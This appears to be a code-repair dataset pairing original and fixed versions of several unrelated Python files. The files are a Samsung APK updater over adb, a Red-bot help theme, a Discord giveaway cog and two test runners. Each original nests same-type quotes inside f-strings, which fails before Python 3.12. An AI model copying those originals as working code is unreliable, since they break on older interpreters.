print(f"{bcolors.OKBLUE}\033[AOkay, You may try again any time :)\n\n{bcolors.ENDC}")
if continue_msg in ("Y", "y", ""):
print(f"{bcolors.OKBLUE}\033[ADownload started!... {bcolors.ENDC}")
file = request.urlretrieve(match["uri"], f'{package_name}.apk')
print(f"{bcolors.OKBLUE}APK saved: {bcolors.INFOYELLOW}{os.getcwd()}/{file[0]}{bcolors.ENDC}")
print(f"\n{bcolors.OKBLUE}Install started!...{bcolors.ENDC}")
insproc()
while(insout[1]!=b'Success\n'):
insproc()
print(f"{bcolors.FAIL}ERROR : Device not connected or authorization not granted{bcolors.ENDC}")
print(f"{bcolors.INFOYELLOW}INFO : Connect the device and grant authorization for USB debugging{bcolors.ENDC}\033[A\033[A")
print(" ")
print(" \033[A\033[A")
print(f"{bcolors.OKPURPLE}{insout[0].decode('utf-8')}{bcolors.ENDC}{bcolors.OKGREEN}{insout[1].decode('utf-8')}{bcolors.ENDC}")
print(f"{bcolors.OKPURPLE}Running Post-install Cleanup{bcolors.ENDC}")
os.remove(file[0])
print(f"{bcolors.INFOYELLOW}APK Deleted!{bcolors.ENDC}")
print(f"{bcolors.OKGREEN}DONE!{bcolors.ENDC}\n\n")
elif(match['vs_code']==versioncode):
print(f'\033[A{bcolors.OKPURPLE}⣿{bcolors.ENDC}')
print(f" {bcolors.OKGREEN}Already the latest version\n\n{bcolors.ENDC}")
else:
print(f'\033[A{bcolors.OKPURPLE}⣿{bcolors.ENDC}')
print(f" {bcolors.INFOYELLOW}Installed version higher than that on server?!!\n{bcolors.ENDC}")
print(f" Version code{bcolors.OKPURPLE}(Server) : %s{bcolors.ENDC}"%(match['vs_code']))
print(f" Version code{bcolors.OKBLUE}(Installed) : %s\n{bcolors.ENDC}\n"%(versioncode))
def urlproc():
global url
url = url_format.format(package_name, model.upper(), sdk_ver)
url = requests.get(url).text
# set url format
url_format = "https://vas.samsungapps.com/stub/stubDownload.as?appId={}&deviceId={}" \
"&mcc=425&mnc=01&csc=ILO&sdkVer={}&pd=0&systemId=1608665720954&callerId=com.sec.android.app.samsungapps" \
"&abiType=64&extuk=0191d6627f38685f"
i=0
pkgcount=0
errorcount=0
devproc()
while(model==''):
devproc()
print(f"{bcolors.FAIL}ERROR : Device not connected or authorization not granted{bcolors.ENDC}")
print(f"{bcolors.INFOYELLOW}INFO : Connect the device and grant authorization for USB debugging{bcolors.ENDC}\033[A\033[A")
print(" ")
print(" \033[A\033[A")
print("\nDevice Model detected: %s"%(model))
andproc()
print("Android SDK Version: %s\n"%(sdk_ver))
modesel()
print("\n\t--End of package list--")
sys.exit("Operation Completed Successfully")
|
from packaging import version
from redbot import __version__
from redbot.core.utils.chat_formatting import (box, humanize_list,
humanize_number)
from ..abc import ThemesMeta
from ..core.base_help import (CategoryConvert, Context, EmbedField,
HelpSettings, _, cast, commands, get_cooldowns,
get_perms, pagify, shorten_line)
class JustCore(ThemesMeta):
"""This is the raw core help, but with categories"""
async def format_category_help(
self,
ctx: Context,
obj: CategoryConvert,
help_settings: HelpSettings,
get_pages: bool = False,
**kwargs,
):
coms = await self.get_category_help_mapping(
ctx, obj, help_settings=help_settings, **kwargs
)
if not coms:
return
if await ctx.embed_requested():
emb = await self.embed_template(help_settings, ctx)
if description := obj.long_desc:
emb["embed"]["title"] = f"{description[:250]}"
for cog_name, data in coms:
title = f"**__{cog_name}:__**"
cog_text = "\n".join(
shorten_line(f"**{name}** {command.format_shortdoc_for_context(ctx)}")
for name, command in sorted(data.items())
)
for i, page in enumerate(pagify(cog_text, page_length=1000, shorten_by=0)):
title = title if i < 1 else _("{title} (continued)").format(title=title)
field = EmbedField(title, page, False)
emb["fields"].append(field)
pages = await self.make_embeds(ctx, emb, help_settings=help_settings)
if get_pages:
return pages
else:
await self.send_pages(
ctx,
pages,
embed=True,
help_settings=help_settings,
)
else:
await ctx.send(_("You need to enable embeds to use the help menu"))
async def format_cog_help(self, ctx: Context, obj: commands.Cog, help_settings: HelpSettings):
coms = await self.get_cog_help_mapping(ctx, obj, help_settings=help_settings)
if not (coms or help_settings.verify_exists):
return
if await ctx.embed_requested():
emb = await self.embed_template(help_settings, ctx, obj.format_help_for_context(ctx))
if coms:
command_text = "\n".join(
shorten_line(f"**{name}** {command.format_shortdoc_for_context(ctx)}")
for name, command in sorted(coms.items())
)
for i, page in enumerate(pagify(command_text, page_length=500, shorten_by=0)):
if i == 0:
title = _("**__Commands:__**")
else:
title = _("**__Commands:__** (continued)")
field = EmbedField(title, page, False)
emb["fields"].append(field)
pages = await self.make_embeds(ctx, emb, help_settings=help_settings)
await self.send_pages(
ctx,
pages,
embed=True,
help_settings=help_settings,
)
else:
await ctx.send(_("You need to enable embeds to use the help menu"))
async def format_command_help(
self, ctx: Context, obj: commands.Command, help_settings: HelpSettings
):
send = help_settings.verify_exists
if not send:
async for __ in self.help_filter_func(
ctx, (obj,), bypass_hidden=True, help_settings=help_settings
):
send = True
if not send:
return
command = obj
signature = _(
"Syntax: {ctx.clean_prefix}{command.qualified_name} {command.signature}"
).format(ctx=ctx, command=command)
# Backward compatible.
if version.parse(__version__) >= version.parse("3.4.6"):
aliases = command.aliases
if help_settings.show_aliases and aliases:
alias_fmt = _("Aliases") if len(command.aliases) > 1 else _("Alias")
aliases = sorted(aliases, key=len)
a_counter = 0
valid_alias_list = []
for alias in aliases:
if (a_counter := a_counter + len(alias)) < 500:
valid_alias_list.append(alias)
else:
break
a_diff = len(aliases) - len(valid_alias_list)
aliases_list = [
f"{ctx.clean_prefix}{command.parent.qualified_name + " " if command.parent else ""}{alias}"
for alias in valid_alias_list
]
if len(valid_alias_list) < 10:
aliases_content = humanize_list(aliases_list)
else:
aliases_formatted_list = ", ".join(aliases_list)
if a_diff > 1:
aliases_content = _("{aliases} and {number} more aliases.").format(
aliases=aliases_formatted_list, number=humanize_number(a_diff)
)
else:
aliases_content = _("{aliases} and one more alias.").format(
aliases=aliases_formatted_list
)
signature += f"\n{alias_fmt}: {aliases_content}"
subcommands = None
if hasattr(command, "all_commands"):
grp = cast(commands.Group, command)
subcommands = await self.get_group_help_mapping(ctx, grp, help_settings=help_settings)
if await ctx.embed_requested():
emb = await self.embed_template(
help_settings, ctx, command.format_help_for_context(ctx)
)
if description := command.description:
emb["embed"]["title"] = f"{description[:250]}"
emb["embed"]["description"] = box(signature)
if final_perms := get_perms(command):
emb["fields"].append(EmbedField("Permissions", final_perms, False))
if cooldowns := get_cooldowns(command):
emb["fields"].append(EmbedField("Cooldowns:", "\n".join(cooldowns), False))
if subcommands:
def shorten_line(a_line: str) -> str:
if len(a_line) < 70: # embed max width needs to be lower
return a_line
return a_line[:67] + "..."
subtext = "\n".join(
shorten_line(f"**{name}** {command.format_shortdoc_for_context(ctx)}")
for name, command in sorted(subcommands.items())
)
for i, page in enumerate(pagify(subtext, page_length=500, shorten_by=0)):
if i == 0:
title = _("**__Subcommands:__**")
else:
title = _("**__Subcommands:__** (continued)")
field = EmbedField(title, page, False)
emb["fields"].append(field)
pages = await self.make_embeds(ctx, emb, help_settings=help_settings)
await self.send_pages(
ctx,
pages,
embed=True,
help_settings=help_settings,
)
else:
await ctx.send(_("You need to enable embeds to use the help menu"))
| from packaging import version
from redbot import __version__
from redbot.core.utils.chat_formatting import (box, humanize_list,
humanize_number)
from ..abc import ThemesMeta
from ..core.base_help import (CategoryConvert, Context, EmbedField,
HelpSettings, _, cast, commands, get_cooldowns,
get_perms, pagify, shorten_line)
class JustCore(ThemesMeta):
"""This is the raw core help, but with categories"""
async def format_category_help(
self,
ctx: Context,
obj: CategoryConvert,
help_settings: HelpSettings,
get_pages: bool = False,
**kwargs,
):
coms = await self.get_category_help_mapping(
ctx, obj, help_settings=help_settings, **kwargs
)
if not coms:
return
if await ctx.embed_requested():
emb = await self.embed_template(help_settings, ctx)
if description := obj.long_desc:
emb["embed"]["title"] = f"{description[:250]}"
for cog_name, data in coms:
title = f"**__{cog_name}:__**"
cog_text = "\n".join(
shorten_line(f"**{name}** {command.format_shortdoc_for_context(ctx)}")
for name, command in sorted(data.items())
)
for i, page in enumerate(pagify(cog_text, page_length=1000, shorten_by=0)):
title = title if i < 1 else _("{title} (continued)").format(title=title)
field = EmbedField(title, page, False)
emb["fields"].append(field)
pages = await self.make_embeds(ctx, emb, help_settings=help_settings)
if get_pages:
return pages
else:
await self.send_pages(
ctx,
pages,
embed=True,
help_settings=help_settings,
)
else:
await ctx.send(_("You need to enable embeds to use the help menu"))
async def format_cog_help(self, ctx: Context, obj: commands.Cog, help_settings: HelpSettings):
coms = await self.get_cog_help_mapping(ctx, obj, help_settings=help_settings)
if not (coms or help_settings.verify_exists):
return
if await ctx.embed_requested():
emb = await self.embed_template(help_settings, ctx, obj.format_help_for_context(ctx))
if coms:
command_text = "\n".join(
shorten_line(f"**{name}** {command.format_shortdoc_for_context(ctx)}")
for name, command in sorted(coms.items())
)
for i, page in enumerate(pagify(command_text, page_length=500, shorten_by=0)):
if i == 0:
title = _("**__Commands:__**")
else:
title = _("**__Commands:__** (continued)")
field = EmbedField(title, page, False)
emb["fields"].append(field)
pages = await self.make_embeds(ctx, emb, help_settings=help_settings)
await self.send_pages(
ctx,
pages,
embed=True,
help_settings=help_settings,
)
else:
await ctx.send(_("You need to enable embeds to use the help menu"))
async def format_command_help(
self, ctx: Context, obj: commands.Command, help_settings: HelpSettings
):
send = help_settings.verify_exists
if not send:
async for __ in self.help_filter_func(
ctx, (obj,), bypass_hidden=True, help_settings=help_settings
):
send = True
if not send:
return
command = obj
signature = _(
"Syntax: {ctx.clean_prefix}{command.qualified_name} {command.signature}"
).format(ctx=ctx, command=command)
# Backward compatible.
if version.parse(__version__) >= version.parse("3.4.6"):
aliases = command.aliases
if help_settings.show_aliases and aliases:
alias_fmt = _("Aliases") if len(command.aliases) > 1 else _("Alias")
aliases = sorted(aliases, key=len)
a_counter = 0
valid_alias_list = []
for alias in aliases:
if (a_counter := a_counter + len(alias)) < 500:
valid_alias_list.append(alias)
else:
break
a_diff = len(aliases) - len(valid_alias_list)
aliases_list = [
f"{ctx.clean_prefix}{command.parent.qualified_name + ' ' if command.parent else ''}{alias}"
for alias in valid_alias_list
]
if len(valid_alias_list) < 10:
aliases_content = humanize_list(aliases_list)
else:
aliases_formatted_list = ", ".join(aliases_list)
if a_diff > 1:
aliases_content = _("{aliases} and {number} more aliases.").format(
aliases=aliases_formatted_list, number=humanize_number(a_diff)
)
else:
aliases_content = _("{aliases} and one more alias.").format(
aliases=aliases_formatted_list
)
signature += f"\n{alias_fmt}: {aliases_content}"
subcommands = None
if hasattr(command, "all_commands"):
grp = cast(commands.Group, command)
subcommands = await self.get_group_help_mapping(ctx, grp, help_settings=help_settings)
if await ctx.embed_requested():
emb = await self.embed_template(
help_settings, ctx, command.format_help_for_context(ctx)
)
if description := command.description:
emb["embed"]["title"] = f"{description[:250]}"
emb["embed"]["description"] = box(signature)
if final_perms := get_perms(command):
emb["fields"].append(EmbedField("Permissions", final_perms, False))
if cooldowns := get_cooldowns(command):
emb["fields"].append(EmbedField("Cooldowns:", "\n".join(cooldowns), False))
if subcommands:
def shorten_line(a_line: str) -> str:
if len(a_line) < 70: # embed max width needs to be lower
return a_line
return a_line[:67] + "..."
subtext = "\n".join(
shorten_line(f"**{name}** {command.format_shortdoc_for_context(ctx)}")
for name, command in sorted(subcommands.items())
)
for i, page in enumerate(pagify(subtext, page_length=500, shorten_by=0)):
if i == 0:
title = _("**__Subcommands:__**")
else:
title = _("**__Subcommands:__** (continued)")
field = EmbedField(title, page, False)
emb["fields"].append(field)
pages = await self.make_embeds(ctx, emb, help_settings=help_settings)
await self.send_pages(
ctx,
pages,
embed=True,
help_settings=help_settings,
)
else:
await ctx.send(_("You need to enable embeds to use the help menu"))
|
import datetime
import discord
import asyncio
import json
import random
import threading
from random import randrange
from discord_components.component import ButtonStyle
from discord_components import Button
from DatabaseTools import Database
from discord.ext import commands
from discord.utils import get
from tzlocal import get_localzone
from DjangoORM import giveawayDelete, giveawayObject, giveawayWinnerSet
class Giveaways(commands.Cog):
def __init__(self, bot):
self.bot = bot
print(datetime.datetime.now(), "Giveaways module loaded!")
@commands.has_any_role('🎉Giveaways')
@commands.guild_only()
@commands.group(name='giveaway')
async def giveaway(self, ctx):
if ctx.invoked_subcommand is None:
embed = discord.Embed(description='Choice correct giveaway command!')
await ctx.send(embed=embed)
@commands.has_permissions(administrator=True)
@commands.guild_only()
@giveaway.command(name='channel')
async def giveawayChannel(self, ctx):
fetch = await Database.getGiveawaysChannel(self=Database, guild=ctx.guild)
if get(ctx.guild.channels, id=fetch) is not None:
return print(datetime.datetime.now(), "Can't create Giveaways Channel while another one exists")
overwrites={
ctx.guild.default_role: discord.PermissionOverwrite(send_messages=False, read_messages=True)
}
channel = await ctx.guild.create_text_channel(name='🎉Giveaways', overwrites=overwrites)
await Database.setGiveawaysChannel(self=Database, guild=ctx.guild, id=channel.id)
print(datetime.datetime.now(), ctx.author, 'has created the Giveaways channel')
@commands.has_any_role('🎉Giveaways')
@commands.guild_only()
@giveaway.command(name='create')
async def giveawayCreate(self, ctx, time: int, item):
if time <= 0:
return await ctx.reply(f":pushpin: {ctx.author.mention}, I can't create giveaway with less 10 mins in time!")
fetch = await Database.getGiveawaysChannel(self=Database, guild=ctx.guild)
channel = get(ctx.guild.channels, id=fetch)
if channel is None:
return print(datetime.datetime.now(), "Can't create Giveaway: Channel doesn't exist")
emb = discord.Embed(
title = f'🎉 Giveaway # by {ctx.author.name}!',
color = ctx.author.color,
timestamp = (datetime.datetime.now().astimezone(get_localzone())),
colour=0xFFD966
)
end = datetime.datetime.now().astimezone(get_localzone()) + datetime.timedelta(seconds= time*60)
emb.add_field(name='Prize', value=item, inline=False)
emb.add_field(name='Ends at', value=end.strftime("%b %d %Y %H:%M:%S"), inline=False)
emb.add_field(name = 'Null', value = f'Null', inline=False )
emb.add_field(name = 'Null', value = f'Null', inline=False )
emb.set_footer(text=f'Created by {self.bot.user.name}')
msg = await channel.send('everyone',
embed=emb,
components =
[Button(label= '🎉 Enter giveaway', style=ButtonStyle.green)])
emb.title = f'🎉 Giveaway #{msg.id} by {ctx.author.name}!'
await msg.edit(embed=emb)
# JSON area
data = {
'time': f'{datetime.datetime.now().astimezone(get_localzone()).strftime('%b %d %Y %H:%M:%S')}',
'prize': item,
'hostedBy': ctx.author.id,
'status': True,
'winner': None,
'participants': [],
}
with open(f"Giveaways/{msg.id}.json", "w") as i:
json.dump(data, i)
print(datetime.datetime.now(), 'Giveaway #', msg.id, 'has created by', ctx.author, 'with item', item, 'and time', time)
t = threading.Thread(target=giveawayObject, args=(ctx, msg, end, item))
t.start()
t.join()
while time > 0:
with open(f"Giveaways/{msg.id}.json", "r") as i:
data = json.load(i)
if time <= 15:
emb.title = f'🎉 Giveaway #{msg.id} by {ctx.author.name}! LAST CHANCE TO ENTER!'
emb.colour = 0xFF0000
if time < 60:
emb.set_field_at(index= 2, name = 'Remaining time', value = f'**Ends in {time} mins**', inline=False )
else:
_timeHrs = time // 60
_timeMins = time - (_timeHrs * 60)
emb.set_field_at(index= 2, name = 'Remaining time', value = f'**Ends in {_timeHrs} hrs and {_timeMins} mins**', inline=False )
emb.set_field_at(index = 3, name = 'Number of participants', value = f"`{len(data["participants"])}`", inline=False )
try:
await msg.edit(embed=emb)
except:
print(datetime.datetime.now(), "Can't find giveaway: maybe it was deleted")
threading.Thread(target=giveawayDelete(msg)).start()
break
time += -1
await asyncio.sleep(60)
if time <= 0:
emb.clear_fields()
emb.title = f'🎉 Giveaway #{msg.id} by {ctx.author.name}'
with open(f"Giveaways/{msg.id}.json", "r") as i:
data = json.load(i)
data['status'] = False
if (len(data['participants'])) == 0:
emb.add_field(name='Winner', value='No valid entrants, so a winner could not be determined!')
emb.add_field(name='Prize', value=item, inline=False)
data['winner'] = 'No valid entrants'
with open(f"Giveaways/{msg.id}.json", "w") as i:
json.dump(data, i)
print(datetime.datetime.now(), 'Giveaway #', msg.id, 'created by', ctx.author, 'has ended! No valid entrants, so a winner could not be determined.')
threading.Thread(target=giveawayWinnerSet(msg, "No valid entrants")).start()
return await msg.edit(embed=emb, components = [])
else:
random.seed(randrange(10000))
winnerNumber = randrange(len(data['participants']))
winnerId = data['participants'][winnerNumber]
winner = get(ctx.guild.members, id=winnerId)
emb.add_field(name='Winner', value=f'{winner.mention} won {item}!')
emb.colour = 0xFFD966
emb.add_field(name='Ended at', value=end.strftime("%b %d %Y %H:%M:%S"), inline=False)
await msg.edit(embed=emb, components = [])
data['winner'] = winner.id
print(datetime.datetime.now(), 'Giveaway #', msg.id, 'created by', ctx.author, 'has ended! Random Number -', winnerNumber, ',', winner,'has won', item)
threading.Thread(target=giveawayWinnerSet(msg, winner.id)).start()
with open(f"Giveaways/{msg.id}.json", "w") as i:
json.dump(data, i)
@commands.Cog.listener()
async def on_button_click(self, interaction):
guild = get(self.bot.guilds, id=int(interaction.raw_data['d']['guild_id']))
if int(interaction.raw_data['d']['message']['id']) == await Database.getWelcomeMsg(Database, guild):
return
try:
with open(f"Giveaways/{int(interaction.raw_data["d"]["message"]["id"])}.json", "r") as i:
data = json.load(i)
if interaction.user.id in data['participants']:
return await interaction.respond(content = "You're already in giveaway list")
if data['hostedBy'] == interaction.user.id:
return await interaction.respond(content = "You can't participant in your own giveaway")
else:
data['participants'].append(interaction.user.id)
with open(f"Giveaways/{int(interaction.raw_data["d"]["message"]["id"])}.json", "w") as i:
json.dump(data, i)
return await interaction.respond(content = "You were added to the participants list")
except:
pass
def setup(bot):
bot.add_cog(Giveaways(bot)) | import datetime
import discord
import asyncio
import json
import random
import threading
from random import randrange
from discord_components.component import ButtonStyle
from discord_components import Button
from DatabaseTools import Database
from discord.ext import commands
from discord.utils import get
from tzlocal import get_localzone
from DjangoORM import giveawayDelete, giveawayObject, giveawayWinnerSet
class Giveaways(commands.Cog):
def __init__(self, bot):
self.bot = bot
print(datetime.datetime.now(), "Giveaways module loaded!")
@commands.has_any_role('🎉Giveaways')
@commands.guild_only()
@commands.group(name='giveaway')
async def giveaway(self, ctx):
if ctx.invoked_subcommand is None:
embed = discord.Embed(description='Choice correct giveaway command!')
await ctx.send(embed=embed)
@commands.has_permissions(administrator=True)
@commands.guild_only()
@giveaway.command(name='channel')
async def giveawayChannel(self, ctx):
fetch = await Database.getGiveawaysChannel(self=Database, guild=ctx.guild)
if get(ctx.guild.channels, id=fetch) is not None:
return print(datetime.datetime.now(), "Can't create Giveaways Channel while another one exists")
overwrites={
ctx.guild.default_role: discord.PermissionOverwrite(send_messages=False, read_messages=True)
}
channel = await ctx.guild.create_text_channel(name='🎉Giveaways', overwrites=overwrites)
await Database.setGiveawaysChannel(self=Database, guild=ctx.guild, id=channel.id)
print(datetime.datetime.now(), ctx.author, 'has created the Giveaways channel')
@commands.has_any_role('🎉Giveaways')
@commands.guild_only()
@giveaway.command(name='create')
async def giveawayCreate(self, ctx, time: int, item):
if time <= 0:
return await ctx.reply(f":pushpin: {ctx.author.mention}, I can't create giveaway with less 10 mins in time!")
fetch = await Database.getGiveawaysChannel(self=Database, guild=ctx.guild)
channel = get(ctx.guild.channels, id=fetch)
if channel is None:
return print(datetime.datetime.now(), "Can't create Giveaway: Channel doesn't exist")
emb = discord.Embed(
title = f'🎉 Giveaway # by {ctx.author.name}!',
color = ctx.author.color,
timestamp = (datetime.datetime.now().astimezone(get_localzone())),
colour=0xFFD966
)
end = datetime.datetime.now().astimezone(get_localzone()) + datetime.timedelta(seconds= time*60)
emb.add_field(name='Prize', value=item, inline=False)
emb.add_field(name='Ends at', value=end.strftime("%b %d %Y %H:%M:%S"), inline=False)
emb.add_field(name = 'Null', value = f'Null', inline=False )
emb.add_field(name = 'Null', value = f'Null', inline=False )
emb.set_footer(text=f'Created by {self.bot.user.name}')
msg = await channel.send('everyone',
embed=emb,
components =
[Button(label= '🎉 Enter giveaway', style=ButtonStyle.green)])
emb.title = f'🎉 Giveaway #{msg.id} by {ctx.author.name}!'
await msg.edit(embed=emb)
# JSON area
data = {
'time': f'{datetime.datetime.now().astimezone(get_localzone()).strftime("%b %d %Y %H:%M:%S")}',
'prize': item,
'hostedBy': ctx.author.id,
'status': True,
'winner': None,
'participants': [],
}
with open(f"Giveaways/{msg.id}.json", "w") as i:
json.dump(data, i)
print(datetime.datetime.now(), 'Giveaway #', msg.id, 'has created by', ctx.author, 'with item', item, 'and time', time)
t = threading.Thread(target=giveawayObject, args=(ctx, msg, end, item))
t.start()
t.join()
while time > 0:
with open(f"Giveaways/{msg.id}.json", "r") as i:
data = json.load(i)
if time <= 15:
emb.title = f'🎉 Giveaway #{msg.id} by {ctx.author.name}! LAST CHANCE TO ENTER!'
emb.colour = 0xFF0000
if time < 60:
emb.set_field_at(index= 2, name = 'Remaining time', value = f'**Ends in {time} mins**', inline=False )
else:
_timeHrs = time // 60
_timeMins = time - (_timeHrs * 60)
emb.set_field_at(index= 2, name = 'Remaining time', value = f'**Ends in {_timeHrs} hrs and {_timeMins} mins**', inline=False )
emb.set_field_at(index = 3, name = 'Number of participants', value = f"`{len(data['participants'])}`", inline=False )
try:
await msg.edit(embed=emb)
except:
print(datetime.datetime.now(), "Can't find giveaway: maybe it was deleted")
threading.Thread(target=giveawayDelete(msg)).start()
break
time += -1
await asyncio.sleep(60)
if time <= 0:
emb.clear_fields()
emb.title = f'🎉 Giveaway #{msg.id} by {ctx.author.name}'
with open(f"Giveaways/{msg.id}.json", "r") as i:
data = json.load(i)
data['status'] = False
if (len(data['participants'])) == 0:
emb.add_field(name='Winner', value='No valid entrants, so a winner could not be determined!')
emb.add_field(name='Prize', value=item, inline=False)
data['winner'] = 'No valid entrants'
with open(f"Giveaways/{msg.id}.json", "w") as i:
json.dump(data, i)
print(datetime.datetime.now(), 'Giveaway #', msg.id, 'created by', ctx.author, 'has ended! No valid entrants, so a winner could not be determined.')
threading.Thread(target=giveawayWinnerSet(msg, "No valid entrants")).start()
return await msg.edit(embed=emb, components = [])
else:
random.seed(randrange(10000))
winnerNumber = randrange(len(data['participants']))
winnerId = data['participants'][winnerNumber]
winner = get(ctx.guild.members, id=winnerId)
emb.add_field(name='Winner', value=f'{winner.mention} won {item}!')
emb.colour = 0xFFD966
emb.add_field(name='Ended at', value=end.strftime("%b %d %Y %H:%M:%S"), inline=False)
await msg.edit(embed=emb, components = [])
data['winner'] = winner.id
print(datetime.datetime.now(), 'Giveaway #', msg.id, 'created by', ctx.author, 'has ended! Random Number -', winnerNumber, ',', winner,'has won', item)
threading.Thread(target=giveawayWinnerSet(msg, winner.id)).start()
with open(f"Giveaways/{msg.id}.json", "w") as i:
json.dump(data, i)
@commands.Cog.listener()
async def on_button_click(self, interaction):
guild = get(self.bot.guilds, id=int(interaction.raw_data['d']['guild_id']))
if int(interaction.raw_data['d']['message']['id']) == await Database.getWelcomeMsg(Database, guild):
return
try:
with open(f"Giveaways/{int(interaction.raw_data['d']['message']['id'])}.json", "r") as i:
data = json.load(i)
if interaction.user.id in data['participants']:
return await interaction.respond(content = "You're already in giveaway list")
if data['hostedBy'] == interaction.user.id:
return await interaction.respond(content = "You can't participant in your own giveaway")
else:
data['participants'].append(interaction.user.id)
with open(f"Giveaways/{int(interaction.raw_data['d']['message']['id'])}.json", "w") as i:
json.dump(data, i)
return await interaction.respond(content = "You were added to the participants list")
except:
pass
def setup(bot):
bot.add_cog(Giveaways(bot)) |
# Licensed under a 3-clause BSD style license - see LICENSE.rst
"""Test if Jupyter notebooks work."""
import logging
import os
import subprocess
import sys
from pathlib import Path
import pkg_resources
import yaml
log = logging.getLogger(__name__)
def get_scripts():
"""Read `scripts.yaml` info."""
path = Path("examples") / "scripts.yaml"
with path.open() as fh:
return yaml.safe_load(fh)
def requirement_missing(script):
"""Check if one of the requirements is missing."""
if "requires" in script:
if script["requires"] is None:
return False
for package in script["requires"].split():
try:
pkg_resources.working_set.require(package)
except Exception:
return True
return False
def script_test(path):
"""Check if example Python script is broken."""
log.info(f" ... EXECUTING {path}")
cmd = [sys.executable, str(path)]
cp = subprocess.run(cmd, stderr=subprocess.PIPE)
if cp.returncode:
log.info(" ... FAILED")
log.info(" ___ TRACEBACK")
log.info(cp.stderr.decode("utf-8") + "\n\n")
return False
else:
log.info(" ... PASSED")
return True
def main():
logging.basicConfig(level=logging.INFO)
if "GAMMAPY_DATA" not in os.environ:
log.info("GAMMAPY_DATA environment variable not set.")
log.info("Running scripts tests requires this environment variable.")
log.info("Exiting now.")
sys.exit()
passed = True
for script in get_scripts():
if requirement_missing(script):
log.info(f"Skipping script (missing requirement): {script["name"]}")
continue
filename = script["name"] + ".py"
path = Path("examples") / filename
if not script_test(path):
passed = False
if not passed:
sys.exit("Some tests failed. Existing now.")
if __name__ == "__main__":
main()
| # Licensed under a 3-clause BSD style license - see LICENSE.rst
"""Test if Jupyter notebooks work."""
import logging
import os
import subprocess
import sys
from pathlib import Path
import pkg_resources
import yaml
log = logging.getLogger(__name__)
def get_scripts():
"""Read `scripts.yaml` info."""
path = Path("examples") / "scripts.yaml"
with path.open() as fh:
return yaml.safe_load(fh)
def requirement_missing(script):
"""Check if one of the requirements is missing."""
if "requires" in script:
if script["requires"] is None:
return False
for package in script["requires"].split():
try:
pkg_resources.working_set.require(package)
except Exception:
return True
return False
def script_test(path):
"""Check if example Python script is broken."""
log.info(f" ... EXECUTING {path}")
cmd = [sys.executable, str(path)]
cp = subprocess.run(cmd, stderr=subprocess.PIPE)
if cp.returncode:
log.info(" ... FAILED")
log.info(" ___ TRACEBACK")
log.info(cp.stderr.decode("utf-8") + "\n\n")
return False
else:
log.info(" ... PASSED")
return True
def main():
logging.basicConfig(level=logging.INFO)
if "GAMMAPY_DATA" not in os.environ:
log.info("GAMMAPY_DATA environment variable not set.")
log.info("Running scripts tests requires this environment variable.")
log.info("Exiting now.")
sys.exit()
passed = True
for script in get_scripts():
if requirement_missing(script):
log.info(f"Skipping script (missing requirement): {script['name']}")
continue
filename = script["name"] + ".py"
path = Path("examples") / filename
if not script_test(path):
passed = False
if not passed:
sys.exit("Some tests failed. Existing now.")
if __name__ == "__main__":
main()
|
import json
import subprocess
import asyncio
from solana.rpc.async_api import AsyncClient
from solana.publickey import PublicKey
from anchorpy import Program, Provider, Wallet
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKCYAN = '\033[96m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
def build_and_start_server(project_name, prd_mode):
print(f'{bcolors.OKCYAN}INFO: Starting test for {project_name}')
completed_process_result = subprocess.run(
"npm run prod", shell=True)
if completed_process_result.returncode != 0:
print(
f'{bcolors.FAIL}ERROR: Failed to generate Apollo GraphQL project for project: {project_name}{bcolors.ENDC}')
return False
print(f'{bcolors.OKGREEN}DONE: Project creation successful for project: {project_name}{bcolors.ENDC}')
server_directory = "./src/server"
new_process = subprocess.run(
"npm start", cwd=server_directory, shell=True)
if new_process.returncode != 0:
print(
f'{bcolors.FAIL}ERROR: Failed to start newly generated Apollo GraphQL server for project: {project_name}{bcolors.ENDC}')
return False
print(f'{bcolors.OKGREEN}DONE: Project startup successful for project: {project_name}{bcolors.ENDC}')
return True
def create_project_config(path, content):
with open(path, 'w') as f:
f.write(json.dumps(content))
return
async def check_and_replace_with_new_idl(program_id, idl_path, anchor_provider_url):
try:
client = AsyncClient(anchor_provider_url)
provider = Provider(client, Wallet.local())
program_id = PublicKey(program_id)
idl = await Program.fetch_raw_idl(
program_id, provider
)
except:
await client.close()
return
if idl is not None:
with open(idl_path, 'w') as file:
json.dump(idl, file)
await client.close()
return
def main():
# On Windows, if an error happens where the channels file isn't found, you probably opened the project
# from the wrong directory. Either try reopening the project from the correct directory or play with the
# line below.
# os.chdir('./anchorgql')
config = json.load(open('channels.json'))
channels_config = config['channels']
results = []
for channel in channels_config:
project_name = channel['PROJECT_NAME']
program_id = channel['PROGRAM_ID']
anchor_provider_url = channel['ANCHOR_PROVIDER_URL']
idl_path = channel['IDL_PATH']
asyncio.run(check_and_replace_with_new_idl(
program_id, idl_path, anchor_provider_url))
content = {
"projectName": project_name,
"protocol": channel["PROTOCOL"],
"network": channel["NETWORK"],
"programID": program_id,
"anchorProviderURL": anchor_provider_url,
"idlPath": idl_path,
"anchorVersion": config['anchorVersion'],
"idl": config['idl'],
"port": config['port'],
"packageJsonTemplateFile": config['packageJsonTemplateFile'],
"indexTemplateFile": config['indexTemplateFile'],
"typeDefTemplateFile": config['typeDefTemplateFile'],
"configFile": config['configFile'],
"testMode": config["testMode"],
"prdMode": config["prdMode"]
}
create_project_config('./src/config.json', content)
passed = build_and_start_server(project_name, config["prdMode"])
results.append({
"projectName": project_name,
"passed": passed
})
print()
print("===================================================")
print("===================================================")
print("===================================================")
print()
print(f'{bcolors.OKBLUE}INFO: Test results:{bcolors.ENDC}')
for result in results:
if result['passed']:
print(
f'{bcolors.OKGREEN}{result['projectName']}: Passed{bcolors.ENDC}')
else:
print(
f'{bcolors.FAIL}{result['projectName']}: Failed{bcolors.ENDC}')
print()
print("===================================================")
print("=================== End of Run ====================")
print("===================================================")
if __name__ == '__main__':
main()
| import json
import subprocess
import asyncio
from solana.rpc.async_api import AsyncClient
from solana.publickey import PublicKey
from anchorpy import Program, Provider, Wallet
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKCYAN = '\033[96m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
def build_and_start_server(project_name, prd_mode):
print(f'{bcolors.OKCYAN}INFO: Starting test for {project_name}')
